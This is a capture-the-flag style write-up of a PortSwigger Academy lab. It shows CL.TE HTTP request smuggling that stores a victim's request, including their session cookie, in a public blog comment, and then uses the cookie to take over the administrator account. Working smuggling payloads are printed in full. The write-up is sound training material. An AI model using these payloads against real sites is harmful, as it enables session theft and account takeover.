Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — CL.TE, Session Hijacking via Comment Sink
Difficulty Practitioner
Objective Smuggle a request that causes a victim's request to be appended to a comment, then steal their session cookie
Note Switch Burp Repeater to HTTP/1. Disable "Update Content-Length."

HTTP Request Smuggling — Capturing Other Users' Requests — Writeup

A blog with a comment section:

Screenshot

Intercepting the post comment request gives us the structure we'll use as our smuggling sink:

Screenshot

The comment endpoint accepts a comment= parameter that gets stored and displayed publicly. If we can make another user's request body land in that parameter, their cookies will appear in the comment.

First Attempt — Confirming the Smuggle Works

CL.TE setup — front-end uses Content-Length, back-end uses Transfer-Encoding. Crafting the payload with the comment POST as the smuggled suffix:

POST / HTTP/1.1
Host: 0ae30037031f377b82b99255000600dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

csrf=fnJGdDEhkvEmkTE88pBrXnHKJ4eRnxaP&postId=9&comment=teto&name=teto&email=teto%40tetomail.com&website=https%3A%2F%2Fteto.com
Screenshot

After sending and reloading: Invalid CSRF token (session does not contain a CSRF token).

Screenshot

The smuggled comment POST fired — but failed because there's no session cookie in the smuggled request. Adding our own Cookie header to the smuggled request:

Screenshot

Send, reload the browser — the comment appears on the post:

Screenshot

The mechanism works. The smuggled comment POST is executing on the back-end.

Stealing Another User's Request

The key insight: the comment parameter is the last field in the POST body. If we inflate the inner Content-Length of the smuggled request far beyond the actual data we send, the back-end waits for more bytes — and when the next real user's request arrives, it gets appended to our body, landing in the comment field. Their full request, including their Cookie header, gets stored as a comment.

Moving comment= to be the last parameter in the body and setting an aggressively inflated Content-Length810 bytes, when our actual data is much shorter:

POST / HTTP/1.1
Host: 0ae30037031f377b82b99255000600dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 990
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 810
Cookie: session=9saIW1xpyuseJFyPWXFbTaVImNLxcbh6

csrf=fnJGdDEhkvEmkTE88pBrXnHKJ4eRnxaP&postId=9&name=mikuhack&email=mikuhack%40tetomail.com&website=https%3A%2F%2Fmikuhack.com&comment=mikuhack

The outer Content-Length: 990 covers the entire smuggled block. The smuggled POST has Content-Length: 810 — much larger than the actual body — so the back-end keeps reading from the connection, pulling in whatever request arrives next.

Screenshot

Sending the request and waiting. After a few minutes, reloading the post:

Screenshot

A comment appeared containing the victim's full request body — including their session cookie:

Screenshot

Dropping that cookie into the browser's storage, reloading — logged in as the administrator the lab is solved :P


Resources